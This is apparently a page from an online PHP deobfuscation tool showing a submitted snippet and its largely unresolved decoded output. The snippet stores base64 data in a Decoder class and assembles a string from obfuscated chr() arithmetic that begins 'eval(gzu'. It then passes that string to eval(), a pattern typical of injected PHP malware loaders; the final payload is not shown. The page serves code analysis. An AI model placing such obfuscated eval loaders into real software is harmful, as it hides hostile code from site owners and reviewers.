Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
class Decoder { private static $data; static function decode($_param) { ..
Decoded Output download
<? class Decoder {
private static $data;
static function decode($_param) {
if (!self::$data) {
self::initialize();
}
return base64_decode(self::$data[$_param]);
}
private static function initialize() {
self::$data = array(
"_" => "YzY0ZmU5M2I4NzVlZjVjY2Q=",
"_" => "",
"_" => "ZGVzZXRvdz13ZWJ5Z3JhYi13ZWJ5Z3JhYiZ3ZWJ5Z3JhYiZ3ZWJ5Z3JhYiZ3ZWJ5Z3JhYg==",
"_" => "ZG9jdW1lbnQ9c2hhcmVkLWNvbW1vbmx5",
);
}
}
define(Decoder::decode("_"), Decoder::decode("_"));
define(Decoder::decode("_"),
chr(-0717-0744-0442- -02472).
chr(-0335- -0162- -0341).
chr((int)round(32.333333333333+32.333333333333+32.333333333333)).
chr(0644- -0340+-0373+-0435).
chr((int)round(20+20)).
chr(-0501+0616- -032).
chr(-0262+-0271+0745).
chr(01112-0725).
chr(-0254+01632-0523-0455).
chr(01130+-0765).
chr(-0132-0506-0424- -01443).
chr(0517+-01125+0563).
chr((int)round(56+56)).
chr((int)round(28.5+28.5+28.5+28.5)).
chr(0167+-022).
chr((int)round(38.333333333333+38.333333333333+38.333333333333)).
chr((int)round(28.75+28.75+28.75+28.75)).
chr(-011+061).
chr(-0352+01024-0310).
chr((int)round(24.25+24.25+24.25+24.25)).
chr(0207+-024).
chr(-0310-0512- -01167).
chr((int)round(13.5+13.5+13.5+13.5)).
chr((int)round(17.333333333333+17.333333333333+17.333333333333)).
chr((int)round(23.75+23.75+23.75+23.75)).
chr(01312+-0752- -0223+-0417).
chr(-0210+034- -0330-07).
chr((int)round(24.75+24.75+24.75+24.75)).
chr(0150-0165+0174).
chr((int)round(33.333333333333+33.333333333333+33.333333333333)).
chr((int)round(50.5+50.5)).
chr(-0260-013- -0343).
chr((int)round(24.75+24.75+24.75+24.75)).
chr(076+-010).
chr((int)round(13+13+13+13)).
chr(01000- -0431- -0401-01664).
chr((int)round(50.5+50.5)).
chr(017+0103+-031).
chr((int)round(25.5+25.5)).
chr(-0407+-0521-0471- -01763).
chr((int)round(28+28)).
chr(-0133- -0222).
chr((int)round(13.25+13.25+13.25+13.25)).
chr(0362+0356-0573).
chr((int)round(25.5+25.5+25.5+25.5)).
chr((int)round(26.5+26.5)).
chr((int)round(24.75+24.75+24.75+24.75)).
chr(-01057+01452+-0670+0440).
chr((int)round(50+50)).
chr(-047+0120).
chr(0436- -0325-0712).
chr(072- -0231+-0252).
chr(0157-0131+045));
eval(constant(Decoder::decode("_"))); ?>
Did this file decode correctly?
Original Code
class Decoder {
private static $data;
static function decode($_param) {
if (!self::$data) {
self::initialize();
}
return base64_decode(self::$data[$_param]);
}
private static function initialize() {
self::$data = array(
"_\303" => "YzY0ZmU5M2I4NzVlZjVjY2Q=",
"_\xac" => "",
"\x5f\335\x94" => "ZGVzZXRvdz13ZWJ5Z3JhYi13ZWJ5Z3JhYiZ3ZWJ5Z3JhYiZ3ZWJ5Z3JhYiZ3ZWJ5Z3JhYg==",
"_\xb2\xc4\xa5" => "ZG9jdW1lbnQ9c2hhcmVkLWNvbW1vbmx5",
);
}
}
define(Decoder::decode("_\267"), Decoder::decode("_"));
define(Decoder::decode("_\x99"),
chr(-0717-0744-0442- -02472).
chr(-0335- -0162- -0341).
chr((int)round(32.333333333333+32.333333333333+32.333333333333)).
chr(0644- -0340+-0373+-0435).
chr((int)round(20+20)).
chr(-0501+0616- -032).
chr(-0262+-0271+0745).
chr(01112-0725).
chr(-0254+01632-0523-0455).
chr(01130+-0765).
chr(-0132-0506-0424- -01443).
chr(0517+-01125+0563).
chr((int)round(56+56)).
chr((int)round(28.5+28.5+28.5+28.5)).
chr(0167+-022).
chr((int)round(38.333333333333+38.333333333333+38.333333333333)).
chr((int)round(28.75+28.75+28.75+28.75)).
chr(-011+061).
chr(-0352+01024-0310).
chr((int)round(24.25+24.25+24.25+24.25)).
chr(0207+-024).
chr(-0310-0512- -01167).
chr((int)round(13.5+13.5+13.5+13.5)).
chr((int)round(17.333333333333+17.333333333333+17.333333333333)).
chr((int)round(23.75+23.75+23.75+23.75)).
chr(01312+-0752- -0223+-0417).
chr(-0210+034- -0330-07).
chr((int)round(24.75+24.75+24.75+24.75)).
chr(0150-0165+0174).
chr((int)round(33.333333333333+33.333333333333+33.333333333333)).
chr((int)round(50.5+50.5)).
chr(-0260-013- -0343).
chr((int)round(24.75+24.75+24.75+24.75)).
chr(076+-010).
chr((int)round(13+13+13+13)).
chr(01000- -0431- -0401-01664).
chr((int)round(50.5+50.5)).
chr(017+0103+-031).
chr((int)round(25.5+25.5)).
chr(-0407+-0521-0471- -01763).
chr((int)round(28+28)).
chr(-0133- -0222).
chr((int)round(13.25+13.25+13.25+13.25)).
chr(0362+0356-0573).
chr((int)round(25.5+25.5+25.5+25.5)).
chr((int)round(26.5+26.5)).
chr((int)round(24.75+24.75+24.75+24.75)).
chr(-01057+01452+-0670+0440).
chr((int)round(50+50)).
chr(-047+0120).
chr(0436- -0325-0712).
chr(072- -0231+-0252).
chr(0157-0131+045));
eval(constant(Decoder::decode("_\311\335")));
Function Calls
None |
Stats
MD5 | 81fbb58713863c26290a8d5c6fa11594 |
Eval Count | 0 |
Decode Time | 70 ms |